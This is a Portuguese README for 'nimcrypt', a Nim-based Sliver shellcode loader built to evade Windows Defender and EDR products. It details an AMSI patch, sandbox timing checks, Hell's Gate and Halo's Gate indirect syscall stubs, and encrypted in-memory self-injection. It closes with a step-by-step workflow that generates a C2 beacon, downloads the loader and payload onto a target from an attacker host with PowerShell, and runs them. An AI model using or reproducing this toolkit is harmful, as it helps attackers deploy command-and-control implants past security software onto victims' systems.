
nimcrypt — Updated!
Ferramenta de criptografia baseada em Nim para ofuscar shellcode e payloads visando evadir o Windows Defender.
nimcrypt
Um carregador de shellcode Sliver escrito em Nim direcionado ao Windows x64. Duas variantes cobrindo as duas situações de entrega mais comuns. Testado contra o Windows Defender com proteção em tempo real ativada.
Variantes
stager
Lê um blob de shellcode criptografado do disco, descriptografa-o na memória e faz auto-injeção. Use esta quando você já tem uma primitiva de queda de arquivo e quer um binário pequeno e simples.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key e IV são opcionais. Se omitidos, o arquivo é tratado como shellcode bruto não criptografado.
stageless
Baixa o blob criptografado do seu C2 via HTTP usando a pilha WinHTTP do Windows, descriptografa-o na memória e faz auto-injeção. Nenhum arquivo toca o disco. Use esta quando você pode executar um binário no alvo mas não pode confiavelmente deixar cair um segundo arquivo.
Edite as constantes no topo de stageless/loader.nim antes de compilar:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
Técnicas
Evasão de sandbox
O carregador stageless chama Sleep(5000) na inicialização e mede o tempo real decorrido com GetTickCount64. Se menos de 4500ms passaram, o processo sai. A maioria dos ambientes automatizados de sandbox avançam rapidamente ou pulam os sleeps, fazendo a verificação falhar. Isso é executado antes de qualquer atividade de rede ou execução de shellcode, então sandboxes que inspecionam o comportamento de rede não veem nada.
Bypass do AMSI
amsi.nim faz patch em AmsiScanBuffer em tempo de execução usando duas camadas de ofuscação:
Ocultação de string via hashing FNV-1a. A string AmsiScanBuffer nunca aparece no binário. Em vez disso, seu hash FNV-1a é calculado em tempo de compilação e armazenado como uma constante. Em tempo de execução, o carregador percorre a tabela de exportação da amsi.dll, faz hash de cada nome de exportação e compara com o valor armazenado para encontrar o endereço da função sem nunca manter a string na memória.
Ofuscação XOR em tempo de compilação. Tanto o nome da DLL (amsi.dll) quanto os bytes do patch (xor eax, eax; ret = 31 C0 C3) são codificados com XOR em tempo de compilação usando uma chave aleatória gerada nova a cada build via um subprocesso Python. A chave é embutida como uma constante e os bytes são decodificados em tempo de execução imediatamente antes do uso. Os bytes brutos mudam a cada build, quebrando assinaturas estáticas na sequência do patch.
O patch sobrescreve os primeiros três bytes de AmsiScanBuffer com xor eax, eax; ret, fazendo cada chamada retornar AMSI_RESULT_CLEAN independentemente da entrada.
Criptografia do payload
encrypt.py criptografa shellcode bruto com AES-256-CBC usando uma chave de 32 bytes gerada aleatoriamente e IV de 16 bytes. O carregador descriptografa in-place usando a API BCrypt do Windows, então nenhuma biblioteca de criptografia de terceiros é necessária no alvo.
Transição de memória RW para RX
A memória é alocada como PAGE_READWRITE, o shellcode é escrito nela, e então a região é alterada para PAGE_EXECUTE_READ antes da execução. Alocar diretamente como PAGE_EXECUTE_READWRITE é uma assinatura bem conhecida que o Defender e EDRs sinalizam explicitamente. Separar as fases de escrita e execução evita esse padrão.
Syscalls indiretas (Hell's Gate + Halo's Gate)
stageless/syscalls.nim contorna tanto a camada da API Win32 (kernel32.dll) quanto quaisquer hooks de userland na ntdll.dll colocados por EDRs.
Resolução do SSN. Na inicialização, o carregador obtém o endereço base da ntdll e analisa sua tabela de exportação PE, coletando cada exportação Nt* ordenada por RVA. Para cada função NT que precisamos, ele verifica os primeiros quatro bytes:
4C 8B D1 B8(mov r10, rcx; mov eax, imm32) significa que o stub está limpo e o SSN é lido diretamente dos bytes 4-5. Isto é Hell's Gate.- Qualquer outra coisa significa que o prólogo da função foi patchado por um hook do EDR. Nesse caso, o carregador percorre vizinhos na lista ordenada até encontrar um stub limpo, então calcula o SSN alvo como
neighbor_SSN +/- distance. Os SSNs incrementam em um por stub em ordem de endereço. Isto é Halo's Gate.
Localização do gadget. O carregador escaneia o primeiro stub Nt* limpo que encontra pela sequência de bytes 0F 05 C3 (syscall; ret). Isso dá um endereço dentro da seção .text da imagem da ntdll que podemos reutilizar.
Geração do stub. Para cada função necessária, um stub de 22 bytes é escrito em uma única página RW que é alterada para RX antes do uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
O jmp [rip+0] desreferencia os 8 bytes imediatamente seguintes (o endereço do gadget) e redireciona a execução para a sequência syscall; ret existente na ntdll. A instrução syscall dispara a partir do .text da ntdll, e não da nossa alocação anônima, derrotando qualquer rastreamento em nível de kernel de qual região de memória emitiu o syscall.
As quatro funções cobertas pelos syscalls indiretos são NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.
Auto-injeção
Após a descriptografia, o carregador stageless aloca uma região RW em seu próprio processo via NtAllocateVirtualMemory, copia o shellcode com copyMem, altera a região para RX via NtProtectVirtualMemory e cria uma thread via NtCreateThreadEx. A thread principal então bloqueia indefinidamente em NtWaitForSingleObject, mantendo o processo vivo enquanto as goroutines do beacon executam. Todas as quatro chamadas passam pelos stubs de syscall indireta descritos acima.
A auto-injeção mantém a superfície de chamada mínima. Não há chamadas de API entre processos (WriteProcessMemory, CreateRemoteThread, etc.), que são os principais vetores de detecção para injeção remota clássica.
Fluxo de execução (stageless)
- Verificação de temporização: dormir 5s, sair se decorrido < 4.5s
- Patch do AMSI: resolver
AmsiScanBuffervia FNV-1a, sobrescrever comxor eax, eax; ret - Resolver stubs de syscall indireta: analisar exportações da ntdll, encontrar SSNs (Hell's Gate + Halo's Gate), localizar gadget
syscall; ret, escrever stubs - Download: requisição GET WinHTTP, ler corpo da resposta
- Descriptografar: AES-256-CBC via BCrypt in place
- Alocar:
NtAllocateVirtualMemoryno próprio processo (RW) via syscall indireta - Copiar shellcode para a alocação
- Proteger:
NtProtectVirtualMemorypara PAGE_EXECUTE_READ via syscall indireta - Executar:
NtCreateThreadExvia syscall indireta - Aguardar:
NtWaitForSingleObjectno handle da thread via syscall indireta
Fluxo de execução (stager)
- Patch do AMSI
- Ler arquivo de shellcode do disco
- Descriptografar se key e IV foram fornecidos
VirtualAlloc(RW), copiar shellcode,VirtualProtectpara RX- Executar via cast de ponteiro de função
Requisitos
Na sua máquina de build Linux:
- Nim + nimble (
nimble install winim) - mingw-w64 (
x86_64-w64-mingw32-gcc) - Python 3 + pycryptodome (
pip install pycryptodome)
Fluxo de trabalho completo
1. Iniciar um listener Sliver
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
2. Gerar shellcode beacon
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
3. Criptografar
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
4. Definir constantes e compilar
Edite stageless/loader.nim e defina c2Host, c2Port, c2Path, scKey, scIV, então a partir da raiz do projeto:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Sempre compile a partir da raiz do projeto para que apenas o nim.cfg raiz seja carregado. A saída é um PE Windows x64 estaticamente vinculado, sem dependências externas de DLL além das bibliotecas padrão do sistema.
5. Servir ou transferir
Stageless: sirva o blob criptografado via HTTP na porta correspondente a c2Port:
cd bins && python3 -m http.server 443
Stager: transfira ambos os arquivos para o alvo:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
6. Executar
Stageless:
loader.exe
Stager com criptografia:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager sem criptografia:
loader.exe shellcode.bin
Entrega via PowerShell
Se for entregar via um cradle de download do PowerShell, o AMSI escaneará o script antes do carregador executar. Faça patch do AMSI na sua sessão PS primeiro:
python3 gen_amsi.py
Cole a saída na sessão do PS antes de baixar ou executar qualquer coisa. O script resolve AmsiScanBuffer pelo hash da tabela de exportação, então a string nunca aparece em texto plano, e todos os bytes do patch são codificados com XOR com uma chave aleatória por execução.
Notas
- Requer Windows 10 / Server 2016+ (Universal CRT)
BCryptSetPropertypara modo de encadeamento retornaSTATUS_INVALID_PARAMETERmas BCrypt usa CBC por padrão, a descriptografia funciona corretamente- Syscalls indiretas cobrem apenas as quatro funções NT críticas para injeção. Chamadas Winsock e BCrypt ainda passam por seus caminhos normais de API, o que é aceitável já que essas chamadas são benignas comportamentalmente isoladamente
- A instrução
syscallnos stubs dispara de dentro da seção.textda ntdll (com suporte de imagem, assinada pela Microsoft), não da página do stub, derrotando o rastreamento de origem do syscall em nível de kernel
Referências
Você pode encontrar mais detalhes sobre Mecanismos, Técnicas e outras ferramentas do Defender no meu blog